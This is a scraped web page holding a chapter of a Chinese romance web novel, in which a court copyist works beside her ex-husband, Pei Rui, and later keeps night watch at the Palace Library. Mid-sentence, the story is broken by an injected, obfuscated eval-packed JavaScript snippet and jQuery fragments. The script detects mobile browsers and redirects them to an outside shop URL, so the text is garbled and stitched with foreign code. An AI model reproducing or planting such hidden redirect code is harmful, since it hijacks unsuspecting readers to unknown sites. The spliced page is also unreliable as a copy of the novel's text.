59. 第 59 章
作品:《和离后郎君他悔不当初》 秘书省二楼。
案头的鎏金博山炉烟气袅袅,深沉醇厚的檀香弥漫在整个书阁中。
姜淮玉虽不明白何行戊如此安排有何用意,但暂时只能先不管他,仍旧坐到自己案前,准备接着誊抄昨日的书卷,当她把笔墨摆好,这才发现连砚台都已经有人帮她清洗好了。
研好墨,她便按部就班开始认真抄书。
不知过了多久,姜淮玉只觉得手有些麻,她动了动胳膊,才恍然发觉自己竟趴着睡着了,方才明明只是想闭眼休息一下而已的。
她揉了揉眼,坐起身来,却见对面书案后坐着一个人——竟是裴睿。
裴睿正襟危坐,手持一份牒牍,正凝眉思量间,抬眼见对面的人醒了,正怔怔看着自己。
“你怎么在这里?”
姜淮玉先开了口。
裴睿漠然收回视线,继续看手中牒牍,朱笔在上面改了几个字,说道:“这么重的檀香,你也能睡着?”
“关你何事?”
姜淮玉才回了一句话,一低头却见自己辛苦誊抄的纸张上一道浓浓的黑墨,而那支肇事的中书君此时正躺在地上。
一定是自己睡着的时候掉下地了,还不忘毁了她的书卷。
“你为何不提醒我?”姜淮玉气恼不已,一股脑把气撒在了对面那个不怀好意的人身上。
裴睿凝神看着牒牍,头也不抬,回道:“关我何事?”
姜淮玉:“……”
*
秘书省二楼书阁十分的安静。
只偶有窗外行过的马车声,和笔落文纸的沙沙声,书阁的窗户开着,清风拂过,窗户轻轻地“吱呀”一两声。
那份作废了的书卷被扔在了案脚边,抄书使人静心,方才的嗔怒早已被抛诸脑后,姜淮玉抄着抄着甚至都忘记了她此时正和裴睿共处一室,直到她停笔研墨之时……
她手上研着墨,看着对面的那个人。
此时的裴睿正在起草一份要紧的公文,眉头紧锁,思考用词,全然没有注意到对面投来的视线。
若是从前,她该会十分珍惜这样的时光,而此时,却难以描述自己心里究竟是何滋味。
又恼又气,却又没办法。
她根本不想再与他有什么纠葛,奈何他却总出现在眼前。
只是,比之昨日,今日看着他,她的心里却没有紧张和烦躁,除了一开始被自己弄污的那份书卷气得不轻,现在已经可以平心静气了。
似乎这样也挺好,同朝为官,各自安好,各自做好自己的差事,然后回各自的家。
她这样思着想着,裴睿的声音忽然响起:“你若闲着,把你的墨拿来给我一用。”
姜淮玉收回视线,看着自己才研磨的那一方砚的墨,舍不得,摇了摇头,“太满了,拿不过去。”
“那你便过来替我磨一些。”
裴睿的话语平静地好像理所当然,却又不似先前那样剑拔弩张的讨厌,令人难以拒绝。
而且,他是御史中丞,监察天下的朝廷重臣,而她只是个小小流外官,若他以官威压她,她也只能听命。
姜淮玉耸了耸肩,嘴上咕哝着“我又不是你书童”,两腿却鬼使神差地走过去了。
裴睿的字一如往昔,很好看,如他本人一般,英挺利落,有着从不悔改一气贯之的气魄。
姜淮玉坐在他的书案旁,一面磨着墨,一面盯着他那双骨节分明的修长的手,真是好看的手。
“好了。”
姜淮玉扔下墨锭,转身回了自己书案,再看下去,她怕她就该忘了两人之间的恩怨了,或者说,她更怕的是他忘了。
裴睿瞥了一眼她的身影,没有说话,继续做自己手头上的事。
没过多久,楼下传来清脆的碗碟轻碰之声——午饭到了。
姜淮玉早晨未来得及吃早饭就过来了,写了这么长时间,她已经饿得不行,她甚至从未如此饿过,一想到午饭,便急忙把笔收好匆匆就要下楼去,直到她走到了门口才回过神来,裴睿还在那里。
她转回来问了一句:“你,要一起下去用膳吗?”
“不必了。”裴睿冷冷答言。
也对,他回御史台有小厨房新鲜出炉的饭菜,肯定比光禄寺珍馐署大老远送过来秘书省的大锅饭菜好吃。
姜淮玉便不管他,只是了然地点了点头便兀自下楼去了。
四方小院里,方京墨他们已经坐好,也帮姜淮玉拿了一份饭菜。
“正等你呢,来得正好。”
看到姜淮玉走过来,沈辕一敲筷子,迫不及待先开吃了。
“怎么样?他没有为难你吧?”方京墨朝二楼看了一眼,小声关切地问。
“为难?”姜淮玉想了想,“那倒没有,我都快饿死了,快吃吧。”
吃了一会儿,沈辕四下看了看没有人,悄声说:“何丞根本就不让我们上楼去,说是怕打扰你和裴中丞。所以,姜楷书,你说说,他究竟是怕我们打扰你和裴中丞什么?”
“咳咳……”
一听这话,方京墨差点没呛晕过去,李漩忙搁下竹箸给他顺背。
方京墨缓了口气,严肃斥道:“可不要乱说,这里是朝廷官署,办公事之地,你自己说说,这些日子秘书省在忙什么?除了这个淮玉还能干什么?”
“哦,抄书。”
沈辕觉得无趣,随口应道,却见有人从楼上下来了。
“见过裴中丞!”
他和李漩的位子正好能看到楼梯,两人异口同声朝裴睿摇手打招呼,脸上的笑容僵硬地虚假。
“他该不会听到了我们说的话吧?”沈辕扯着嘴角偷偷问李漩。
李漩小声道:“你那么大声,别说二楼了,只怕是在御史台都听到了。”
“哈哈。”沈辕尴尬笑了笑,起身给对面坐着的姜淮玉夹菜。
“姜楷书,你多吃点,你看你这么瘦。”
姜淮玉背对着裴睿,没有转身。裴睿在廊下只驻足片刻,什么也没说便走了。
是的,他们之间已经这样了,本就不需要假意寒暄。
*
这几日,何行戊管得很严,午膳时间很短,不能吃
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16828584|186439||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
饱,怕吃多了犯困。
匆匆吃完了午饭,姜淮玉回到二楼继续干活,过了许久也不见裴睿回来,他的书案上还留着他的笔墨砚台,那叠牒牍却不在了,应该是他方才带回御史台去了。
她伸了个懒腰,起身走到窗前往外看。
隔一条街斜对面便是御史台,那里看着似乎比青灯古书的秘书省威严些,进出的人一贯的衣冠肃整,脸上没有什么笑容。
他们都是裴睿的同僚,面对的是整个朝廷的尔虞我诈和心狠手毒。
思绪随意地飘飞,不知不觉一缕金色的斜阳照在窗棱上,楼下的人陆陆续续离开了秘书省。
姜淮玉这才回过神来,今晚她要值夜,得去楼下和门房的守卫交代一下。
门房只有一个年老的守卫,趁着入夜天完全黑下来之前他带着姜淮玉把整个秘书省上上下下都检查了一遍。
门窗都关好了,水缸也都装满了水,两人一路走,一路将各个房间的火烛都熄灭了。
夜幕落得很快,今夜看不见月亮,一眨眼的功夫四周便黢黑一片。
老守卫说他夜里什么也看不清,入夜就会待在屋子里不出来了,他交给姜淮玉一支提灯,一把火折子,便回了门房。
黑暗之中的秘书省,和白日的感觉全然不同,仿若置身于一个巨大又古老的黑影之中。
提灯在墙上拉出一个长长的身影,姜淮玉原还没感觉,此时自己一个人形单影只站在空荡荡的廊下,忽而便有点害怕。
她小心翼翼左右看了看,却不敢转过肩看身后,只得硬着头皮借着提灯照出的小片光亮循着记忆找到回二楼书阁的路。
一片静谧之中,踩在木楼梯上发出的每一声响都让姜淮玉更加战战兢兢,她几乎是贴着墙往上一路小跑的。
回到书阁,里面更是黢黑一片,方才下楼前竟忘了点灯。
姜淮玉蹑手蹑脚提着灯去找烛台,刚要拿出火折子就听到外头传来木楼梯“咯吱咯吱”的响声。
有人上来了,是那个门房老守卫吗?
他不是说他晚上不出来的吗?姜淮玉忽然心提到嗓子眼,十分害怕,忙灭了手里的提灯,找个角落躲了起来。
“吱呀”一声,门被人从外面推开了,姜淮玉躲在墙角凝神细看,只见一个人拿着一大团什么东西走了进来,也没有点灯,轻车熟路地就往里走,径直走到房间最里面的榻上,然后把手里的东西放下,铺在榻上。
“你若是累了,就早些歇息吧,我替你值夜。”
那人一面整理被褥,一面朝空气中说话,显然是对姜淮玉说的。
“原来是你啊。”姜淮玉听出了萧宸衍的声音,舒了口气,从墙角钻出来,拿起手中火折子,点燃了离自己最近的一支烛台。
萧宸衍转过身来,绕过姜淮玉的书案,走到她身边,接过她手中的火折,去点燃其他的蜡烛。
所有的蜡烛都点上了,房间亮堂起来,一下子就不一样了。
有人陪着,终于不用自己一个人守着整个秘书省了,此刻就连窗外漆黑的夜色也不再令人心惊了。

